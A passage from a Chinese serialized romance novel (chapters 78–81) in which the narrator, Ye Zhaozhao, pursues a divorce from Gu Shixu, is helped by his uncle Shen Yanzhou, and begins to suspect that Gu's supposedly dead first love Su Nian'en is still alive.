然后,他径直往我这边走来,在我身边停住。
顾时序拉住我的手,将我往他这边带。
顾时序望向沈宴州,语气带着一抹微妙的敌意:“舅舅,以后咱们也算是正经亲戚了。沈家和顾家如果能合作,那才是亲上加亲,您说呢?”
这话里的提醒再明显不过。
既点了沈宴州的辈分,又不忘抬出合作,很符合顾时序商人利益至上的作风。
沈宴州脸上没什么表情,语气带着拒人于千里之外的冷漠:“我向来不喜欢在私人场合谈公事。”
说完,他瞥了我一眼,意有所指,“这点,你太太应该清楚。”
我心头一跳,脸颊瞬间涨红,简直想找个地缝钻进去。
他这话,听着倒像是我和他有多熟似的。
他明明说过,不会把我的秘密说出去!
顾时序又不傻,自然听出了他的意思,脸色瞬间阴沉至极。
沈宴州没再看我们,抬步离开。
经过我身边时,他的手指似乎不经意地擦过我的手背,微凉的触感像电流,让我猛地绷紧了神经。
直到他的身影消失在月色里,顾时序才松开我的手,眉头紧皱,阴郁地问:“他刚才那话什么意思?这大晚上的,你跑到这里,跟他在说些什么?”
我冷冷道:“沈宴州是什么身份?他连你都瞧不上,还能瞧上我?你觉得,我们能谈什么?”
顾时序盯着我看了几秒,眼神里的怀疑渐渐淡了。
也是,他大概也觉得,刚才那话,不过是沈宴州随口一句挑衅罢了。
毕竟,以我的身份,根本不可能和沈宴州那样的人物有什么交集。
顾时序带我回去跟外公打了个招呼,便准备离开了。
临走时,外公叫住他,一字一句道:“你小子给我记着,回去赶紧把什么小三小四的都给处理好了!孩子是你的,你要负责。但那些不检点的女人,别想让她们进家门!”
顾时序敷衍着答应了一声,姜淑慧在一旁没吭声,但看得出来,表情十分不服气。
我们一行人带着朵朵刚从别墅里出来,就听姜淑慧道:“你外公那是没见过雅欣!要是他以后了解雅欣了,不知道会有多喜欢呢!你别听你外公刚才那些话。赶紧跟叶昭昭把离婚办了,免得夜长梦多!”
一旁的我也对顾时序道:“你妈说得对。你的伤也快好了,现在行动自如,我们什么时候去民政局?”
姜淑慧眯着眼睛看我,不可思议地问:“你什么时候变得这么爽快了?可别到时候言不由衷,跟我们时序玩欲擒故纵呢吧!”
我笑了笑,道:“放心,我早就对你儿子没兴趣了。我巴不得赶紧离婚,恢复自由身!”
我话音刚落,顾时序直接抱着朵朵上了车,连等都没有等我。
我更不可能坐姜淑慧的车回去。
姜家地处偏僻的别墅区,这里虽然安静,但很难打车,交通实在是太不方便了。
我拿出手机想叫个“滴滴”,却发现周围根本没有司机接单。
无奈之下,我只好沿着公路往市区的方向走。
夜风吹得路边的树叶哗哗作响,像有人在身后窃窃私语。
说实话,我有点怕,步伐不由得加快了些。
走了快一个小时,脚腕又酸又胀,却迟迟走不到市区。
就在这时,一束车灯从后方照来,车速很慢,像是在刻意确认什么。
我屏住呼吸侧身让开,直到那辆车缓缓停在旁边。
车窗降下,沈宴州侧脸的线条在昏暗里显得格外清晰。
他漆黑的眸光透着一抹疑惑,问我:“你不是早就回去了?”
“我……”
我该怎么说顾时序这个浑蛋把我丢下,自己走了呢?
索性他没在追问下去,淡淡吐出两个字:“上车。”
第79章 深夜,他还不走
我简直如同抓住了救命稻草,生怕他反悔似的,赶紧拉开车门坐进副驾。
车内很安静,只有空调送出的微风声。
他缓缓发动车子,问:“去哪儿?”
我肯定是不想再回医院了。
顾时序不管我死活,我何必大晚上的还自己送上门去照顾他?
因此,我将目前住的小区告诉了他。
车子平稳地行驶在路上。
我犹豫了很久,还是开了口:“之前跟您提过的……帮我跟女儿做亲子鉴定的事,您能不能再考虑一下?”
沈宴州握着方向盘的手没动,指节分明,在仪表盘的微光下泛着冷白的光。
过了几秒,他淡淡地说:“我拒绝过的事,不想再说第二遍。”
我微微叹了口气,默默闭上嘴。
一路无话。
直到车子停在我家楼下,我才如蒙大赦般解开安全带:“谢谢舅舅。”
不知道是不是我的错觉,在我叫出这两个字的时候,沈宴州眉头微微蹙了蹙。
嗯,大概是不习惯吧?
毕竟,突然多了两个二十来岁的外甥,搁谁都得适应一段时间。
沈宴州没回应,我下了车,冒着外面的冷风,赶忙往楼道里走。
当我站在家门口准备开门时,这才猛地想起,我没带钥匙。
准确地说,我连包都没带。
毕竟,最近我一直都在医院里,原以为今晚在姜家吃完饭,肯定还是要回医院的。
所以我只带了个手机。
我郁闷极了。
幸好这里是市区,我出了门就能打到车。
我得去医院把我的包拿回来才行!
然而,当我走到楼下时,竟发现沈宴州的车还停在原地。
男人靠在车门边,又在抽烟。
昏黄的路灯将他周身那股沉郁衬得愈发浓重。
见我下来,他眉峰微挑。
我疑惑地问:“您……还没走?”
他掸了掸烟灰,烟雾漫过他英挺的侧颜,他淡声道:“透透气,一会儿就走。你怎么下来了?”
“我没带钥匙。”
我尴尬地解释道,“最近一直都在医院照顾顾时序,包包落在那儿了。”
他微微顿了顿,语气中带着一抹意味不明的嘲讽:“你究竟是真想离,还是假想离?我看,该一个妻子做的事,你是一点都没落下。”
我脸颊发烫,正准备解释,可他却已经拿出手机拨了个电话。
“高朗,找个换锁师傅带个密码锁过来。地址我等下发给你。”
他言简意赅地吩咐完,我连忙道:“不用麻烦了,我……我自己叫个开锁的就行。”
沈宴州斜睨了我一眼,道:“开锁也得要身份证。你有?”
我愣了一下,摇摇头。
沈宴州重新打开车门让我进去坐着等。
而他自己就站在冷风里,也不知道在想些什么?
看起来,心情不是很好的样子。
没等多久,高朗就带着开锁师傅赶来了。
沈宴州没上楼,但是让高朗陪我上去了。
开锁师傅麻利地拆旧锁、装新锁,最后,我自己设了密码。
就是今天的日期。
我跟高朗一起下去的,沈宴州还在。
“谢谢舅舅。”
我诚恳而真挚地感谢他。
沈宴州‘嗯’了声,拉开车门上车,对我道:“回去吧。”
我站在楼道口望着,直到他的宾利彻底融进夜色里,我才回家。
看着崭新的密码锁,我心口像是被什么东西轻轻撞了一下,泛起一阵说不清道不明的暖意。
就在这时,我手机响了。
看见屏幕上“顾时序”三个字,我立刻摁掉了电话。
他后来又打了几个,我还是一个都没接。
……
翌日,门铃声将我吵醒。
门口是薛晓琴。
我打开门,知道薛晓琴应该又是为了顾亦寒而来。
“昭昭,我想……去看看时序。”
薛晓琴比以前憔悴了许多,她道:“这么久过去了,不知道时序恢复得怎么样了?你能带我去看看他吗?”
我叹了口气,劝道:“琴姨,我知道您是想让他放过顾亦寒。但您跟他们家这个关系,您去了也是自取其辱。”
“可……可是亦寒至今为止还在里面,顾时序这边迟迟没有动静,我们连探视的机会都没有。”
薛晓琴记得痛哭出声,道:“亦寒这孩子从小没受过什么苦,我每天都在担心他……”
在她的坚持下,我实在没办法,只好陪她一起买了些礼品,去了顾时序那儿。
……
医院。
顾时序一点都不意外我会过来。
毕竟,我的包还在这里,再加上我们的约定,我得把他照顾到出院,他才能给顾亦寒出谅解书。
看到薛晓琴跟我一起出现,他脸上染上一抹冷峻。
我解释道:“琴姨想来看看你。”
顾时序将手中的文件放在一边,靠在沙发上,打量着我们,道:“是来看我,还是来问我什么时候放过顾亦寒?”
薛晓琴局促地站在那儿,小声道:“两者都有。时序,阿姨求你,放亦寒一马吧!阿姨保证以后看好他,不会再让他这么冲动,更不会让他惹到你了。”
顾时序冷嗤了声,道:“放过他不是不行。但,我有个条件。”
我一看就知道他不怀好意,所以立刻道:“顾时序,我已经按照约定在医院照顾你了,你还想怎样?”
“你闭嘴!”
他打断我,对薛晓琴道:“我可以放过他。但你必须保证,你们一家三口滚回国外,永远不要再回来!否则,我依然保留起诉他的权利。”
薛晓琴几乎没有任何犹豫,点头道:“好,我答应你。只要亦寒能出来,我就带他走。”
顾时序到没有再继续为难她,对她道:“晚点我让律师联系你,没别的事,不要再来打扰我。”
薛晓琴激动地说:“时序,谢谢你,阿姨谢谢你放过亦寒。”
就在这时,姜淑慧突然冲进了门,不可置信地问:“什么?时序,你疯了吗?顾亦寒把你伤成这样,不让他把牢底坐穿,绝不行!想放过他?门儿都没有!”
我们都没想到,姜淑慧会在这时候过来。
平日里看到姜淑慧都躲着走的薛晓琴,却在现在迎了上去,祈求道:“慧姐,我知道当**是我对不住你,你要怪就怪我,别迁怒到亦寒身上好不好?”
“你这个**,还有脸提当年!”
姜淑慧瞬间暴怒,狠狠推了她一把,“当年你就是这副可怜兮兮的样子把时序爸爸迷得五迷三道!现在,又想故技重施,把主意打到我儿子身上?你休想!”
薛晓琴被姜淑慧推倒在地,却又爬起来,再次走上前道:“慧姐,只要你肯放过亦寒,我愿意把老顾还给你。只要他愿意!”
她不说还好,这话一出,姜淑慧简直如同一只被踩到尾巴的猫。
就好像在对一个穿着破烂的乞丐说,你要是喜欢我这个奢侈品高跟鞋,我可以让给你。
毕竟,当年海城人尽皆知,顾时序的父亲为了跟姜淑慧离婚,那是连顾家的家产都不要了!
可想而知,薛晓琴这话是多么讽刺。
姜淑慧气得满脸通红,将手中的包包扔到一边,上去就要动手。
薛晓琴不躲也不还手,就这么直直站着。
就在姜淑慧的巴掌要触到她脸时,顾时序突然走上前制止住了他母亲。
“时序,你拦着**什么?
姜淑慧气得咬牙切齿:“这女人当年抢走你父亲,让我成为全海城的笑柄。现在又来这里挑衅我,我要是不撕烂她的嘴,她真当我姜淑慧是吃素的!你快点放开我!”
顾时序蹙了蹙眉,平静地开口道:“你这巴掌要是打下去,就中了她的圈套。”
薛晓琴愣住,有点仓皇地看向顾时序。
姜淑慧更是一脸茫然地问:“你这是什么意思?”
顾时序嘴角勾起一抹冷笑,道:“你要是打了她,她下一步就该报警了。到时候,她的条件应该就是,我放过她儿子,她才会放过你。”
薛晓琴脸色骤变,连忙道:“不是这样的,时序,你误会我了。”
而姜淑慧恍然大悟:“你这
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个**!搞了半天,你是故意的!”
“不,慧姐,我真不是这个意思。”
薛晓琴语无伦次地解释。
顾时序的声音却淬着冰:“趁我还没改主意,立刻离开。否则,你儿子能不能顺利出来,就不好说了。”
薛晓琴浑身一颤,再也不敢多言,几乎是踉跄着走了。
姜淑慧的气息渐渐平复,眼底的猩红却未褪尽。
她转向顾时序,声音里仍带着余怒:“我早说过,那女人的手段阴着呢!不然当年怎么能没名没分地跟你爸耗那么久?时序,你可别犯糊涂!这次是除掉顾亦寒的最好机会,绝不能轻易放过!”
我在一旁一直没吭声,但心里也不由得为顾亦寒捏了把冷汗。
幸好顾时序还记得我们的约定,他对姜淑慧道:“顾亦寒的事我自有打算,您别管了。”
“我是你妈!我怎么能不管?”
姜淑慧猛地拔高声音,胸口剧烈起伏着,“薛晓琴和顾亦寒那对母子丧尽天良!要不是他们,你怎么会从小像个没爹的孩子,被我一个人拉扯大?”
顾时序的目光冷了几分,“您和我爸走到离婚这一步,全是他们的错?您自己就没有半分缘由?您看看整个圈子,有哪家的主母像您这样,动辄就在宴会上撒泼胡闹,让顾家沦为笑柄?”
话音落地的瞬间,姜淑慧像是被人狠狠抽了一耳光,整个人都僵住了。
她脸上的愤怒凝固成错愕,眼神直勾勾地盯着顾时序,嘴唇翕动着,却说不出一个字。
“你居然这样说我?”
她不可置信地摇了摇头,颤抖着道:“你居然帮着你爸和那对母子?好,就当我从来没生过你这个儿子!我这辈子,真是白活一场!”
说完,她夺门而出。
虽说我对姜淑慧厌恶至极,但看到她这样子,我也没有什么快感,反倒是心里有点发毛。
房间里仿佛陷入了死寂,顾时序走到窗前站着,背影紧绷。
“你……”
我刚想问他‘没事吧’,便被他苦涩的声音打断:“她一向如此。外婆早逝,外公只有她一个女儿,溺爱得厉害。当年她嫁给我爸,是因为两家关系交好,两家父母都力挺她。所以,她才生生拆散了我爸和薛晓琴,逼着我爸娶了她。可没想到,我爸虽然娶了她,但跟薛晓琴一直没有断过。”
我静静地听着,这是顾时序第一次跟我说起上一辈的事。
我们认识了这么久,结婚那么多年,他都从没有提起过。
今天,或许是憋得久了,他也想找人倾诉一下吧?
原以为说到这儿就结束了,可他继续说道:“你知道顾亦寒为什么叫这个名字吗?”
我摇摇头,问:“为什么?”
“因为,‘亦寒’是‘遗憾’的谐音。”
顾时序低低地笑了声,道:“她不再管什么体面,把夫妻间的龌龊事闹到媒体面前,闹到我的学校,闹得整个海城无人不知。只能说,可怜之人,必有可恨之处吧。”
如果是以前他能对我吐露心声,我不仅会心疼,还会安慰他,陪他一起难过。
可现在,我只是静静地听着,心里像蒙着一层薄冰,说不清是麻木还是别的什么,竟连一句安慰的话都挤不出来。
顾时序似乎对我的漠然感到不满,他转身对我道:“我妈固然有错,但刚才薛晓琴的做法你也看见了。以后,你最好离他们母子远一点。他们时隔这么多年回到海城,接近你,绝不是这么简单。”
我脑海中浮现出刚才薛晓琴那副涕泪横流的模样,还有姜淑慧歇斯底里的咒骂。
这两个人,一个看似柔弱的不堪一击,一个锋芒毕露的近乎刻薄,可谁又知道面具底下藏着怎样的心思?
是顾时序的猜忌太深,还是薛晓琴真藏着不为人知的算计?
人心真是复杂,就像顾时序,他明明经历过这么潮湿的童年,他明知道痛苦是什么样子?
却又把这些痛苦加注在别人身上,硬生生地让我和朵朵母女分离。
他眼睁睁地看着我和我亲生女儿形同陌路,甚至反目成仇。
第80章 他手里有顾时序的死穴
我压着心口的烦闷,说:“薛晓琴和顾亦寒是什么样的人,已经不重要了。反正,你也已经让他们离开国内了。以后山高水远,他们也威胁不到你什么了。”
顾时序目光落在我脸上,眼神带着一丝不易察觉的锐利:“我让他们离开,你很难过?”
我心头猛地窜起一股火,冷冷看着他:“你管我难不难过?你背叛我们婚姻的时候,你跟苏雅欣官宣的时候,昨晚你把我丢下的时候,你怎么不问问我难不难过?”
顾时序目光一沉,空气像凝固了般。
我深吸一口气,将那句“何况我对顾亦寒根本没想法”咽了回去。
他不配得到我的解释。
……
两天后,医生查房时说顾时序已经完全康复可以出院了,正在跟我交代出院事项。
就在这时,放在桌上的手机震动起来。
顾时序也瞥见了屏幕上‘顾亦寒’三个字。
他眉头轻蹙,挥手屏退了医生,然后对我道:“接啊。怎么?激动得连电话都接不了了?那我帮你接?”
明知他在嘲讽我,我也没有忍着他,就当着他的面划开接听键。
顾亦寒的声音带着些微沙哑从听筒溢出:“昭昭,我下午三点的飞机,想……想见你一面。你……方便吗?”
我不想节外生枝,刚想拒绝,便听见旁边的顾时序轻笑了声,道:“见吧。免得日后午夜梦回,遗憾得睡不着。”
明知他说的是反话,我偏偏当作正话听,对顾亦寒道:“好,那下午两点半,我去机场。”
挂了电话,顾时序就这么看着我,眼底的阴冷一层层地翻涌着。
我冲他挤出一抹笑意,道:“听你的,见一面,免得以后遗憾。”
哪知下午我正准备出发时,顾时序也跟上了我:“我陪你,好歹也是我弟弟。”
我没有拒绝,反正,忍着他的时间也不多了。
他爱怎么样,就怎么样吧!
……
机场。
顾时序靠在车里,手中拨弄着佛珠,并不准备下车,却冷声提醒我:“尽快回来。”
我没有理会,自顾自下了车。
走进候机大厅,我很快就看到了顾亦寒。
他穿着一件简单的白衬衫,比之前清瘦了许多,显然这段时间受了不少苦。
看到我,他眼中闪过一丝欣喜,随即又黯淡下去:“你最近,还好吗?你告诉我,顾时序为什么松口了?是不是你跟他做了什么交易?”
“没有。”
我微微笑了笑,道:“再怎么说你也是他弟弟,他总不能赶尽杀绝,对吧?”
顾亦寒讽刺地笑了声,“顾时序那人,他会在乎这些?他连自己的孩子都能牺牲,还有什么是不能的?”
我心头一震。
我记得宋今若说过,并没有告诉他我流产的事情啊。
所以,顾亦寒这话,是从何说起?
似乎意识到了我的疑惑,他语气伤感而沉郁:“前段时间你住院,是因为流产了,对不对?我去西岩寺打听了,是送你去医院的那个和尚告诉我的。”
我沉默了,这件事是我心底的痛,我不想提起。
顾亦寒恨恨地说:“你以为我为什么要对顾时序动手?那天我得知这件事之后,忍无可忍了,我失去了所有的理智。我只知道,该死的人,是顾时序!”
“顾亦寒。”
我打断他,深深吸了口气,道:“这件事已经过去了。我们只是普通朋友,你为我做得够多了。”
我生怕他一会儿头脑一热,又做出什么冲动的事。
顾亦寒问:“你告诉顾时序了吗?他知不知道,你为他又失去了一个孩子!”
我平静地说:“**。”
顾亦寒看着我,眼底满是不解:“你受了这么多苦,他凭什么没有任何心理负担地逍遥!”
我深吸一口气,努力压抑着心底翻江倒海的悲凉,道:“他以后过什么样的日子,都跟我没有关系了。我不想跟他有任何牵扯,也不需要他对我愧疚。等你走后,我就跟他离婚。”
顾亦寒似乎明白了什么,眼神坚定地看着我,“昭昭,我还会再回来。”
“你就在国外好好的吧,不要再回来了!”我劝道,“这次琴姨为了你的事东奔西跑,整日茶不思饭不想的。你在里面受罪,她在外面也受罪。”
顾亦寒沉默了片刻,忽然问:“你是不是也觉得我斗不过顾时序?”
我看着他,无奈地说:“我不想参与你们兄弟之间的斗争。”
这时,顾亦寒突然露出一抹阴郁的笑,语气志在必得:“你相信我,最后一定是我赢,我手里有顾时序的死穴。”
我被他这样子的神情吓到了。
平日里的顾亦寒从来都是直来直去,我没见过他这般算计的样子。
就在这时,机场广播响起,催促乘客登机。
顾亦寒深深地看了我一眼,道:“那我走了,你保重。”
我点点头,道:“你也是。”
他走了几步,又回过头,看了我很久,才转身走进了登机口。
我站在原地,看着他消失的方向,心里莫名有点发毛。
他刚才口中‘顾时序的死穴’是什么呢?
摇摇头将纷乱的念头甩开,我转身往外走。
是什么已经不重要了。
我跟顾时序马上就要离婚了,他们兄弟之间再怎么斗,以后跟我也没关系了。
……
回到车上,靠在后座闭目养神的顾时序缓缓睁开眼,檀木佛珠在他指尖发出细碎的声响。
见我一脸沉郁,他喉间溢出一句带着冰碴的话:“送走了顾亦寒,就这么难受?”
我从后座下来,坐上副驾,宁愿坐在司机旁边,都不想跟他坐一起。
司机吓得擦了把冷汗,不敢开车,小心翼翼地说:“太太,您……要不还是去后面坐吧。”
司机眼中的恳求,足以说明顾时序平日里是一个多么苛待下属的老板。
我不想连累他人,终究还是回到了顾时序身边坐下。
“开车。”
顾时序淡淡吩咐司机,“回顾氏庄园。”
我蹙眉,报出我家小区地址,“先送我回去。”
说完,我望着顾时序,声音平静得像一潭死水:“你已经出院了,也康复了。所以,我们的交易完成。什么时候去民政局?”
空气骤然安静,顾时序握着佛珠的手渐渐收紧,指节泛白。
良久,他开口,语气听不出喜怒:“你那份离婚协议写得不行,有些地方要改。”
我无语极了,追问道:“你说清楚,什么地方需要改?”
顾时序语气硬邦邦的,道:“急什么!改好了自然会通知你。”
我没再追问。
至少他没反悔,这已经比预想中好多了。
后来,顾时序直接让司机把我丢在了半路上。
……
回到家,我将床单被褥洗了,又将家里大扫除了一番,结束时,已临近傍晚。
吃完晚餐,我去了母亲住的康复中心。
最近一直在医院照顾顾时序,我很久没有去探望我妈了。
康复中心的晚上安静的要命,走廊上我甚至能听见自己的脚步声。
我妈的病房在走廊尽头,远远的,我就看见了一个穿着驼色大衣的身影。
很纤细的女人,正透过虚掩的门,探着身子往里看。
我停住脚步,开口道:“请问你是……”
女人像被烫到般猛地回头,可她带了帽子、口罩、墨镜,几乎是全套武装。
要不是因为她比苏雅欣高很多,我真以为这是苏雅欣又憋什么坏水儿了。
可眼前这女人也很可疑。
我快步朝她走过去,想问个清楚。
可她转身就跑,高跟鞋敲击地面的声音格外慌乱。
安全门就在我妈病房的旁边,她转眼间就消失在走廊尽头的安全通道里。
我追过去时,安全门还在微微晃动,她顺着楼梯往下跑,我追了下去,却没有再见到她的身影。
似乎,刚才那一切,都是幻觉似的。
我泄气的回到病房,脚边不知什么东西闪了下。
我蹲下身才发现,是只精巧的粉钻耳钉。
应该是刚才那女人慌乱之下不小心掉的。
我将耳钉装进口袋,赶紧去了我妈的病房,按下呼叫铃。
医生给我妈妈做完体检之后,道:“病人没有任何异常。”
我微微松了口气,然后将今晚我看到的情况告诉了医生。
“麻烦你们将监控调一下,可以吗?我想知道,那个女人究竟是什么目的?”
医生听完,笑了笑,道:“叶小姐,你是不是过于紧张了?我们医院经常碰到不小心走错病房探病的人。或许,是人家走错了。”
“不太可
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能。”我道:“刚才,那个女的看到我,分明很慌乱。我怕我妈妈会有危险……”
医生似乎有些不耐烦,道:“会有什么危险呢?你母亲现在不是好好的吗?您这样无端的猜测,我们不方便帮您调取监控。毕竟,监控也关系到其他病人的隐私。我们医院调取监控必须有合理的理由。您这理由,太牵强了。”
最终,医生拒绝了我。
我陪了母亲一会儿,心事重重的回到家,将我捡到的那颗耳钉拿了出来。
铂金的枝叶缠绕着一颗水滴形粉钻,哪怕是屋内普通的灯光,也将钻石映衬得亮眼极了。
看着,不像假的。
我拍下耳钉的造型进入网页搜索,没想到,这是一个品牌的‘高定’耳钉,全球限量发售的,名字叫做“晨曦”。
每一对耳钉上的钻石有固定的编号,所以能找到固定的主人。
我心中一喜。
那我就可以根据这个耳钉,知道昨晚那个女人的身份了。
如果不弄清楚,我真怕我妈再被有心之人暗害。
……
翌日,我特意去了市中心这款耳钉发售的奢侈品店。
本来对方本着保密原则,不肯告诉我耳钉的主人。
最终,我私下给了对方五万块的小费。
而那个店员告诉我的三个字,却让我彻底懵住了。
“苏念恩?你说这个耳钉的主人是苏念恩?”
我不可置信地确认着。
店员点点头,道:“是的,从这对钻石的腰码上看,是四年前,苏小姐从我们这里买下的。”
我走出店门,阳光刺眼,我却觉得浑身发冷。
那个女人为什么会有苏念恩的耳钉呢?
是有人在她死后偷了她的耳钉?
还是说,苏念恩……
根本就没有死!
可之前**调查到的资料显示她因为一场意外瘫痪了。
昨晚那个女人跑起来的步伐那么矫健,哪里像腿脚不好的人?
为了弄清楚真相,我当天就订了飞往英国的机票,根据当时**给的地址,找到了苏念恩住了四年之久的精神病医院。
本以为想要得到线索还得一番周折,然而在苏念恩死后,顾时序就直接把这个精神病医院以最低价格抛售了。
也就是说,这家医院已经跟顾时序没有关系了。
所以,我付了一笔费用,他们直接就派了我需要的人来解答我的疑问。
接待我的是位头发花白的护士长,名叫格蕾丝。
听到“苏念恩”这个名字,她蓝灰色的眼睛暗了暗。
她疑惑的看着我,问:“你跟苏小姐是……什么关系?”
我拿出跟顾时序的结婚照,道:“苏小姐是我丈夫的朋友。”
我没有绕弯子,也不想避着谁。
就算顾时序知道也无所谓!
正好,他也能跟我一起查查,他的白月光究竟是死是活!
格蕾丝震惊的看着我,道:“原来,顾先生已经有太太了?我们还以为……”
“还以为苏念恩是他的太太,对吧?”
我用英语跟她交流着。
格蕾丝尴尬的点点头。
我问:“能不能跟我说一说关于苏念恩的事情?尤其是……她去世那天,究竟发生了什么?”
格蕾丝的声音很轻,“很可惜,苏小姐那么年轻的女士,还有一位对她这么好的男人,却偏偏选择了轻生。其实,我们也不清楚,她**的具体原因。”
我问出了自己的疑惑:“我听说,她是从十六楼跳下去的。可她不是瘫痪了吗,怎么能自己跳下去呢?”
格蕾丝点点头,道:“那天下午三点多,苏小姐说想独自待一会儿,让护工都离开了。她的病房有扇朝东的落地窗,她就是从那里跳下去的。”
“就是这里。”
格蕾丝推开门,深深叹了口气,道:“护工发现时,窗户是开着的,轮椅倒在窗边。因为楼太高了,她掉下去时,已经摔得面目全非,脑浆都出来了。”
我走到窗前,伸手推了推窗框,道:“这个窗户,很重。”
“是的,”格蕾丝说,“为了安全,我们所有病房的窗户都做了加固,需要两只手才能完全推开。”
我不可思议地说:“她当时是独自在轮椅上?没有人帮忙?”
一个瘫痪患者,如果没人帮忙,我不信她能推开这么重的窗户。
第81章 叶昭昭,我该怎么惩罚你?
格蕾丝摇了摇头道:“其实以前苏小姐的病房里是有监控的。可后来,她说她不喜欢被监视,以绝食相逼。顾总就把监控撤了,我们不知道那天房间里具体发生了什么。”
我问:“她不是有精神疾病吗?但从你刚才的叙述,她好像思维蛮正常的。”
格蕾丝道:“苏小姐的精神状态时好时坏,我们都习惯了。”
想到那颗耳钉,我试探着问:“她的遗物都整理出来了吗?”
格蕾丝点点头,“是啊,都整理出来交给了她的家属,她有个妹妹,听说在你们中国是大明星。她妹妹保留了她所有的遗物,听说是怕顾先生触景伤情。”
我立刻追问道:“那她妹妹有没有说,少了什么?”
“没有。”
格蕾丝很确定地说:“所有的物品清单,我们都让她一一对照了的,她没说少什么。”
我道:“那我能不能看看遗物清单?”
如果遗物清单上有那对耳钉,可苏雅欣却说什么都没少,那这里面肯定有猫腻。
格蕾丝抱歉地对我说:“当时苏念恩小姐死后,她的妹妹和母亲保留了她的一切遗物。”
“好的,谢谢你。”
临走时,我又给了格蕾丝一笔小费,找她要了苏念恩的一些照片。
从她的描述中,苏念恩身材高挑纤细,似乎和我昨日在我母亲病房钱见到的女人很符合。
只是那天她刻意遮盖了自己的面容,我无法跟照片上的人做比对。
回程的路上,“苏念恩没死”这个认知,一直在我脑海中回旋。
顾时序知道吗?
还是说,一切都是苏雅欣的阴谋,故意制造出苏念恩死的假象,只为了让顾时序彻底厌弃我?
回到国内时,因为时差的关系,天还亮着。
我忍着困意和疲惫,买了**摄像头,安装在了我妈的病房里。
虽然苏念恩的死活跟我无关,但她却出现在我妈病房门口,我就不能不提防。
弄好这一切之后,我才回到家洗澡睡觉。
连日的困顿与疲惫,让我一沾到床,就沉沉睡着了。
这一觉一直睡到翌日中午,我接到了叶家的电话。
那边传来叶夫人激动的声音:“昭昭,昨天给你打电话怎么不接呢?”
“哦,我昨天睡得早。有事吗,妈?”
叶夫人笑着解释道:“今晚家里举办宴会,邀请了些商界的朋友。你也过来,妈妈都好久没见你了。”
想想这段时间发生了那么多事,我也的确没时间回叶家。
只是我有点奇怪,问:“妈,咱们家怎么突然想起举办宴会了?”
毕竟,之前父母结婚三十周年纪念日,都如此低调。
提起这个,叶夫人笑得合不拢嘴:“是你哥哥啊!他昨天成功竞标成功一个案子,听说是我们叶氏近十年来最大的业务。所以,你哥哥高兴,这也宴会相当于庆功宴了!”
“这样啊。”
没想到以前毫无经商头脑的哥哥,现在竟做成了这么大的事。
我也替母亲感到高兴。
可我忽然想起了什么。
顾时序跟我哥哥算是朋友了,要是他去,我就准备找个借口把这个宴会给推了。
现在,唯一能让我见他的动力,就是办离婚手续。
其他时候,我是真觉得没必要见面,也不想见面了。
因此,我问:“顾时序去么?”
提起这个,叶夫人突然变得吞吞吐吐,道:“我……我们没邀请时序呢。这件事,你也别告诉他,你自己来就行了。”
我微微疑惑,按说,叶家父母对顾时序如此满意,叶家的生意顾时序又帮了那么多。
以他们的性格,该邀请他才符合常理的。
不过,确定了顾时序不去,我答应了叶夫人,“好,妈,那我晚上过去。”
……
傍晚时分,我选了一件低调的礼服,开车前往叶家。
到达时,院子里已经停放了许多车。
我心里也替他们高兴,因为已经很久很久,叶家没有这样热闹和风光的时候了。
我哥这时从别墅里出来,一身高定礼服将他整个人衬得格外意气风发。
“你终于来了!爸妈正念叨你呢。”
他好像忘记了上次见面的不愉快,对我很热情,和我没出嫁的时候一样。
我将准备的礼物送给他,道:“恭喜你,哥。”
“快进去吧!”
他催促我进去,又开始迎接后面的宾客。
叶夫人今晚打扮得格外雍容华贵,叶爸爸也格外精神。
见我过来,叶夫人声音里掩不住的激动,“昭昭,你哥哥他终于能担起大任了!我就知道,你哥以前就是没把心思放在商界。现在,他认真做事,这才多久就拿下了这么大的案子!”
我一边附和叶夫人,一边问:“妈,您电话里说不让我告诉顾时序,是什么原因啊?平时,您和我爸不是总想请他来家里吗?”
叶夫人叹了口气,道:“你不知道,这次的案子啊,顾氏就差一点就竞标成功了。谁知道你哥报价比他们更低,再加上方案也比他们的好,这不就从他们手里把案子抢过来了?时序心里能好受吗?”
“这样啊……”
我若有所思地点点头。
以前顾时序总是运筹帷幄,还真不是那么容易脱靶的。
或许这次是住院时间太长,影响到了他对市场的把控吧。
这样也好,总该给这男人一点苦头,他就是好日子过得太多,太顺了。
才会这般肆意伤害其他人。
没有经历过痛苦的人,是不会有什么同理心的。
我跟叶夫人正聊着天,可宴会厅突然安静了。
众人的目光全都集中在门口,顾时序竟然出现了。
他身着一袭剪裁利落的深灰色西装,袖口露出的腕表表带泛着哑光的金属光泽,每一处细节都透着恰到好处的考究。
我疑惑地望着叶夫人:“不是说他不来了吗?”
叶夫人也好似有点紧张,“是啊,我们没给他发邀请函啊!他怎么还不请自来了?”
这次顾氏竞标失败不敌叶氏的事情来参加宴会的人应该都知道了,因此,对于顾时序突然的出现,所有人都在唏嘘,暗暗讨论着。
“这顾总心理素质真好,这次的竞标,听说顾氏也整整准备了半年,被人截胡了,他还能若无其事地出现在这里。”
“我看不见得!说不定,是憋了一肚子气,过来找茬的!”
“不会吧?再怎么生气,以顾总这样的身份地位,也不可能当众失态的。”
“……”
众人正津津有味地讨论着,顾时序的目光一下子就落到了我这边,那眼神漆黑如深不见底的寒潭,带着浓重的审视。
我蹙了蹙眉,他已经抬脚朝我们这边走来。
叶家父母脸上的笑容瞬间僵住,眼神里掠过一丝慌乱,我下意识地挺直脊背,不知道他究竟想干嘛?
就在这时,我哥也过来了。
他站在我身边,用只有我们能听得见的声音道:“时序,我想着你大病初愈不能喝酒,就没请你来。既然来了,那正好大家聚一聚。”
顾时序眸光沁着一抹寒意,看看我,又问我哥:“你怎么知道我生病住院?”
他在怀疑是我跟我哥通风报信的吗?
可事实上,我没有将这件事透露给叶家任何风声,看样子,我哥和苏雅欣私下还是有联系。
否则,他不会知道这么多。
没想到,我哥竟拍拍我的肩,道:“昭昭在医院照顾了你这么久,我们知道有什么奇怪?说起来,这次的竞标案还多亏昭昭呢!”
这话一出,空气仿佛凝固了。
我莫名其妙地说:“这跟我有什么关系?我也是今天才知道你竞标成功的。”
难道,我哥哥是故意说这种话,让顾时序误解我?
顾时序眼中泛起了明显的寒意,像是结了层薄冰。
随即,他轻笑了声,笑意不达眼底,“不错,肥水不流外人田。”
顾时序没再多说一个字,只扯了扯领结,转身走向露台,背影透着生人勿近的冷意。
而叶夫人和叶父今日也风光了一回,很快就有合作伙伴主动过来敬他们酒。
我跟在我哥身后,声音压得极低,质问道:“哥!你刚才那话是什么意思?什么叫多亏了我?这跟我明明没关系!”
他却像没事人一样,语气带着几
